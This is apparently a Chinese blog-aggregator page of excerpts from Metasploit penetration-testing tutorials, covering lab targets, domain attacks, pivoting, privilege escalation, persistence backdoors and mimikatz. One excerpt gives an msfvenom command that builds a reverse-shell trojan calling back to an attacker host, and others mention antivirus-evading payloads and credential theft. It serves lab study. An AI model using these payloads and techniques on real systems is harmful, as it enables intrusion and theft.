靶机渗透测试（Dina: 1.0.1）-爱代码爱编程
靶机渗透测试（Dina: 1.0.1）： Vulnhub靶机 Dina: 1.0.1 靶机：修改靶机的网络配置为桥接模式。 攻击机：Kali虚拟机，同样使用桥接模式，即可访问靶机。 靶机难度：（Beginner (IF YOU STUCK ANYwhere PM me for HINT, But I don’t think need any help).
msf主机上线，钉钉通知你-爱代码爱编程
参考：Metasploit主机上线钉钉通知钉钉机器人Metasploit上线通知 写在前面，前面两个参考链接已经写的挺详细的了，但是我在实践过程中发现了一点小瑕疵，在这里罗嗦一下（其实就是msf版本问题导致的） 来一个钉钉机器人开启msf生成恶意文件准备msf钉钉通知 来一个钉钉机器人 首先创建一个群 完事后，把webh
msf中收到了sessions却不反弹meterpreter的原因-爱代码爱编程
msf中收到了sessions却不反弹meterpreter的原因 问题描述： 生成木马 msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.189.130 lport=12346 -f exe >/hack.exe
域环境里-反弹meterpreter-爱代码爱编程
一、背景 1.1 前提 域渗透 part1域渗透 part2 假设在win7中成功制作了 黄金票据，接下来则: 1、上传木马msf6.exe 到win2008 DC 上； 2、利用 schtasks 计划任务，执行木马 反弹shell； 3、也可以通过 sc 命令，创建服务 反弹 shell。 二、计划任务反弹shell 1、msf6.e
记一次简单域渗透（part 1）-爱代码爱编程
一、环境 域环境是自己搭的，基本模仿的企业部署 域：learn.com 操作系统类型 IP地址 本地账户/密码 域账户/密码 角色 Windows 2008 R2 192.168.138.129 Administrator/ learn\Administrator
利用kali Linux使用meterpreter制作免杀木马测试入侵windows电脑-爱代码爱编程
前言：常规使用meterpreter制作木马时会被各大杀毒软件所拦截，固本文介绍一下利用meterpreter下的Venom制作免杀木马。 首先安装Venom Venon克隆地址：https://github.com/r00t-3xp10it/venom tar.gz OR zip OR git clone 2.赋予文件可执行权限： cd
metasploit怎么用? 进阶(msfvenom=payloads+encoders)篇 (ﾟ益ﾟメ) 渗透测试-爱代码爱编程
文章目录 msfvenom介绍生成攻击载荷攻击载荷区分常用攻击载荷生成语句实际应用无文件攻击简单搭建靶场攻击测试msf常用命令添加注册表(植入后门)提升权限清除记录 这边博客是接着我上一篇博客 metasploit怎么用? 基础使用篇 (ﾟ益ﾟメ) 渗透测试之后的,如果本片中有看不懂的地方,推荐你先去看一下第一篇! msfvenom介绍 m
wsl的kali使用msf数据库报错怎么解决?System has not been booted with systemd as init system (PID 1). Can‘t operate-爱代码爱编程
文章目录 报错信息报错原因分析报错解决方案手动创建数据库数据库创建时报错 报错信息 使用msf的时候我们会先初始化数据库,但wsl初始化数据库(msfdb init)的时候会发生报错。主要报错提示为System has not been booted with systemd as init system (PID 1). Can't ope
MSF自动查找可用提权的EXP-爱代码爱编程
在渗透测试过程中，已经拿到反弹的普通权限shell，如果要再进一步提权，MSF可以提供丰富的提权EXP，但是具体用哪一个，我们不太好选择，漫无目的的去试极大得浪费时间。 为此，MSF专门提供了一个查找适用EXP的内置模块“Local Exploit Suggester”，如其名字一样，提供EXP建议，我们可以在MSF界面搜索suggester，找到他，并
metasploit怎么用? 基础(auxiliary、exploits、meterpreter)篇 (ﾟ益ﾟメ) 渗透测试-爱代码爱编程
文章目录 metasplit框架msf结构介绍进入msfmsf常用基础命令进入、管理工作台搜索功能信息收集简单使用(测试漏洞为`ms17_010`)辅助模块使用(`auxiliary`)漏洞利用模块(`exploits`)后渗透模块(`meterpreter`) metasplit框架 下面metasplit-framework我都会简称为m
msf之木马程序-爱代码爱编程
目录 捆绑木马生成木马文件附：msfvenom介绍msfvenom简介msfvenom生成exploit/multi/handler模块简介设置监听反弹发送木马查看对方的ip查看对方目录截图开启摄像头附：Meterpreter常用命令进一步获取权限伪装 捆绑木马 这里使用的是Kali linux虚拟机 攻击机ip是192.168.0.108
内网渗透-msf路由转发与端口转发-爱代码爱编程
测试环境路由转发端口转发 在渗透的过程中常常会遇到这种场景：我们已经通过web渗透拿下一台内网服务器，为了进一步进行内网渗透，我们会利用“沦陷主机”作为跳板进行进一步的内网渗透，扩大战果。端口转发的主要目的是帮助我们能够访问不在于同一网段上的系统上的特定端口。 测试环境 攻击机kali ip：192.168.0.110 中转win7 i
网络安全与渗透：漏洞攻击—— msf（四）此生无悔入华夏，男儿何不带吴钩-爱代码爱编程
中华人民共和国网络安全法 阅读本文前，请熟读并遵守中华人民共和国网络安全法：http://gkhy.jiujiang.gov.cn/zwgk_228/jc/zcwj/202006/P020200618385401918830.pdf 目录 中华人民共和国网络安全法msf简介msfconsole基本命令内网信息收集凭证窃取 msf简
msf后渗透-爱代码爱编程
文章目录 前提与概览获取system权限hashdump关闭防火墙磁盘加密关闭DEP杀死防病毒软件开启远程桌面服务使用post模块使用已存脚本抓取屏幕域环境搭建有关域Token利用域环境搭建利用ms_08_067获取win xp的系统权限获取域Token注册表操作添加一条防火墙策略sniffer抓包目标主机文件搜索文件访问时间修改POST模块拿到s
MSF框架渗透工具常见的一些用法-爱代码爱编程
1.扫描存活主机 利用的漏洞有 auxiliary/scanner/discovery/arp_sweep 2.探测存活主机的端口 对某网段内的主机的指定端口进行扫描，并查看是否可以利用： 例如：对某一网段的smb445端口进行探测，利用的漏洞为 auxiliary/scanner/smb/smb_version 3.攻击利用：
MSF多种渗透测试实例合集-爱代码爱编程
MSF多种渗透测试实例合集 本文漏洞均为已发布漏洞，仅供学习实验，请自己搭建靶机进行学习。 1.（MS08-067）缓冲区溢出漏洞 漏洞简介： MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”，如果用户在受影响的系统上收到特制的 RPC 请求，则该漏洞可能允许远程履行代码。在 Microsoft Window
msfvenom木马生成工具-爱代码爱编程
msfvenom 命令常见shell实例参考 命令 -l:列出所有模块。类型有：payloads, encoders, nops, platforms, archs, encrypt, formats, al.(使用 -l payloads列出payload，- -list-options 列出载荷参数)-p:指定要使用的有效负载。-f:输出
kali之msf渗透测试-爱代码爱编程
kali之msf渗透测试 1.metasploit介绍、安装、更新、目录结构 1.metasploit介绍 Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework，简称MSF。是一个免费、可下载的框架，通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数2000多个已知软件漏洞的专业级漏洞攻
msf后门种植-爱代码爱编程
Meterpreter后门 MetsvcPersistenceNCgetguienable_rdp模块： Metsvc 无认证，固定31337端口 -A ：自动启动匹配的利用漏洞/多个/处理程序以连接到服务-r：卸载现有的MeterMeter服务（必须手动删除文件）Persistence 通过启动项启动，定期连接，系统启动时回连，自动运行
mimikatz工具使用-爱代码爱编程
mimikatz 使用命令：msf下的mimikatz mimikatz：后渗透工具，从window进程中获取内存，并获取明文密码和NTLM哈希值的工具。 kali路径：/usr/share/windows-resources/mimikatz 使用 将工具移植到靶机中： win32目录下 命令： 命令含义::查询帮助信息standard：